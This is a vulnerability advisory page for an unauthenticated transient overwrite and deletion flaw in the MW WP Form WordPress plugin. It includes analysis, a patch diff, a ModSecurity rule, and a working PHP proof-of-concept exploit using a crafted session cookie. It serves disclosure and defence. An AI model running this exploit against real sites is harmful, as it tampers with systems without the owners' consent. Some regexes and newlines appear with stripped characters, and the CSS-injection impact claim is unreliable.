Published : November 29, 2026

CVE-2026-120746: MW WP Form <= 5.1.8 Insecure Direct Object Reference to Unauthenticated Arbitrary Transient Overwrite and Deletion via 'mw-wp-form_session_mw-wp-form-‘ Cookie PoC, Patch Analysis & Rule

Plugin mw-wp-form
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 5.1.8
Patched Version 5.1.9
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120746: The MW WP Form WordPress plugin (versions up to and including 5.1.8) contains an Insecure Direct Object Reference (CWE-639) in the session handling class. The vulnerability allows unauthenticated attackers to overwrite or delete arbitrary WordPress transients stored in wp_options by supplying a crafted cookie named mw-wp-form_session_mw-wp-form-. CVSS score is 5.3 (Medium). The affected component is classes/models/class.session.php, with the vulnerable state registered before CSRF validation in MW_WP_Form_Data::__construct().

Root Cause: In class.session.php, the constructor of the session class reads $_COOKIE[$this->name] without validating its format. The pre-patch code assigns $this->session_id = $session_id directly, where $session_id is the raw cookie value. That value is later used as a transient name via get_transient() and set_transient(). Because MW_WP_Form_Data::__construct() registers _save_to_session() on PHP’s register_shutdown_function before the CSRF check runs, the transient write still executes after wp_safe_redirect()+exit terminates the request. Additionally, the [mwform_formkey] shortcode GET path never performs a CSRF check at all. This means an attacker controls the key of the transient that gets written to wp_options, with no nonce and no authentication requirement. The patch adds a strict regex gate `/A[0-9a-f]{40}z/` on the cookie value and prefixes the transient key with MWF_Config::NAME . ‘_session_’ inside the class, so that only a 40-character lowercase hex session ID set by the plugin itself can address a transient.

Exploitation: An unauthenticated attacker sets a cookie named mw-wp-form_session_mw-wp-form- where is any public form key rendered on the target site (shortcodes are on public pages). The cookie value is an arbitrary WordPress transient name, e.g. wp_styles_for_blocks or any attacker-chosen key. A subsequent GET request to the page hosting the [mwform_formkey] shortcode triggers MW_WP_Form_Data instantiation, which resolves the session transient and calls set_transient() on the attacker-chosen key. Because transient values from core wp_styles_for_blocks contain CSS, overwriting it injects attacker-controlled CSS into every front-end page. A second request with the same cookie but an invalidated or empty form submission causes delete_transient() on the same key, removing core transients. Payloads are a single HTTP request plus a cookie header, no authentication, no nonce: GET /?page_id= with Cookie: mw-wp-form_session_mw-wp-form-=wp_styles_for_blocks.

Patch Analysis: The diff in class.session.php replaces the raw `$this->session_id = $session_id` with `MWF_Config::NAME . ‘_session_’ . $session_id` after strict validation. The cookie input is only accepted if it matches `/A[0-9a-f]{40}z/`; otherwise the plugin generates a fresh sha1-based session ID. When an attacker submits a non-hex value such as `wp_styles_for_blocks` or a value with different length, `preg_match()` fails and `$session_id = false`, forcing the plugin to mint its own 40-hex session ID. Consequently, transient names become `mw-wp-form_session_`, which cannot collide with core keys like `wp_styles_for_blocks` or any other plugin transient. The CSV class change (_escape_leading_character) hardens CSV export against formula injection and is unrelated to this CVE. The version banner is bumped to 5.1.9.

Impact: Successful exploitation allows arbitrary transient overwrite and deletion in the wp_options table, affecting any transient name the attacker names in the cookie. This includes core-managed transients such as wp_styles_for_blocks, yielding persistent stored CSS injection to every front-end page (content spoofing, phishing overlays, UI redress, possibly exfiltration via CSS-based attribute selectors). Because transients set with a non-expiring value never re-expire, poisoning is persistent. Deleting transients can break site components, caching, and plugin state. Attackers can also target security-plugin transients to disable or degrade protections, and can pre-seed or destroy session data. No authentication or user interaction beyond a single page visit is required.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mw-wp-form/classes/models/class.csv.php
+++ b/mw-wp-form/classes/models/class.csv.php
@@ -81,7 +81,7 @@
 		// エンコード
 		foreach ( $rows as $row ) {
 			foreach ( $row as $column_name => $column ) {
-				$row[ $column_name ] = $this->_escape_double_quote( $column );
+				$row[ $column_name ] = $this->_escape_double_quote( $this->_escape_leading_character( $column ) );
 			}
 			$csv .= implode( ',', $row ) . "rn";
 		}
@@ -218,6 +218,20 @@
 	}

 	/**
+	 * Prefix a single quote to values starting with a special character.
+	 *
+	 * @param mixed $value Value.
+	 * @return string
+	 */
+	protected function _escape_leading_character( $value ) {
+		$value = (string) $value;
+		if ( '' !== $value && false !== strpos( "=+-@trn", $value[0] ) ) {
+			$value = "'" . $value;
+		}
+		return $value;
+	}
+
+	/**
 	 * Escape double quotes.
 	 *
 	 * @param string $value Value.
--- a/mw-wp-form/classes/models/class.session.php
+++ b/mw-wp-form/classes/models/class.session.php
@@ -18,6 +18,8 @@
 	protected $name;

 	/**
+	 * Transient name.
+	 *
 	 * @var string
 	 */
 	protected $session_id;
@@ -37,9 +39,12 @@
 	public function __construct( $name ) {
 		$this->name = MWF_Config::NAME . '_session_' . $name;

-		if ( isset( $_COOKIE[ $this->name ] ) ) {
+		$session_id = false;
+		if ( isset( $_COOKIE[ $this->name ] ) && preg_match( '/A[0-9a-f]{40}z/', $_COOKIE[ $this->name ] ) ) {
 			$session_id = $_COOKIE[ $this->name ];
-		} else {
+		}
+
+		if ( ! $session_id ) {
 			$session_id = sha1( wp_create_nonce( $this->name ) . ip2long( $this->get_remote_addr() ) . uniqid() );
 			$secure     = apply_filters( 'mwform_secure_cookie', is_ssl() );
 			try {
@@ -61,7 +66,7 @@
 			}
 		}

-		$this->session_id = $session_id;
+		$this->session_id = MWF_Config::NAME . '_session_' . $session_id;
 	}

 	/**
--- a/mw-wp-form/mw-wp-form.php
+++ b/mw-wp-form/mw-wp-form.php
@@ -3,7 +3,7 @@
  * Plugin Name: MW WP Form
  * Plugin URI: https://mw-wp-form.web-soudan.co.jp
  * Description: MW WP Form is shortcode base contact form plugin. This plugin have many features. For example you can use many validation rules, inquiry data saving, and chart aggregation using saved inquiry data.
- * Version: 5.1.8
+ * Version: 5.1.9
  * Requires at least: 6.0
  * Requires PHP: 8.0
  * Author: websoudan

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120746
# Blocks unauthenticated exploitation of MW WP Form session IDOR via the
# 'mw-wp-form_session_mw-wp-form-<FORM_ID>' cookie. The patched plugin only
# accepts 40 lowercase hex characters in the cookie value; any other value
# is rejected by regex /A[0-9a-f]{40}z/. We enforce the same constraint.
#
# Rule 1: inspect all cookie names matching the vulnerable pattern.
SecRule REQUEST_COOKIES_NAMES "@rx ^mw-wp-form_session_mw-wp-form-[0-9]+$" 
  "id:20261207,phase:1,deny,status:403,msg:'CVE-2026-120746 MW WP Form session IDOR (cookie name)',severity:'CRITICAL',tag:'CVE-2026-120746',tag:'AtomicEdge',chain"
  SecRule REQUEST_COOKIES:/^mw-wp-form_session_mw-wp-form-[0-9]+$/ "!@rx ^[0-9a-f]{40}$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120746 - MW WP Form <= 5.1.8 - Insecure Direct Object Reference to Unauthenticated Arbitrary Transient Overwrite and Deletion

// Configure target
$target_url  = 'http://target.local/';
$form_id     = '123'; // public FORM_ID from a [mwform_formkey] shortcode on any page
$cookie_name = 'mw-wp-form_session_mw-wp-form-' . $form_id;

// Attacker-chosen transient name to overwrite. Examples:
//   wp_styles_for_blocks (core CSS transient)
//   any_plugin_transient_key
$poison = 'wp_styles_for_blocks';

// Step 1: Trigger session write via GET on a page hosting the shortcode.
// The plugin's shutdown hook writes the transient before/after the CSRF check
// depending on the code path. The GET shortcode path has no CSRF check at all.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIE, $cookie_name . '=' . $poison);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$body = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent poisoned session cookie: {$cookie_name}={$poison}n";
echo "[+] HTTP status: {$code}n";
echo "[+] Response length: " . strlen((string)$body) . "n";

// Step 2: Confirm effect by fetching any front-end page.
// If wp_styles_for_blocks was overwritten, attacker-controlled CSS is injected.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$check = curl_exec($ch);
curl_close($ch);

echo "[+] Fetched front-end page for verification.n";
if (stripos((string)$check, 'style') !== false) {
    echo "[+] Page contains style markup; inspect for poisoned CSS.n";
}

// Step 3: Optional cleanup attempt - fire a POST with a nonce-less form submission
// to trigger delete_transient() on the same key via the shutdown hook.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'mw-wp-form_session_' . $form_id . '=');
curl_setopt($ch, CURLOPT_COOKIE, $cookie_name . '=');
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
curl_exec($ch);
curl_close($ch);

echo "[*] Done.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.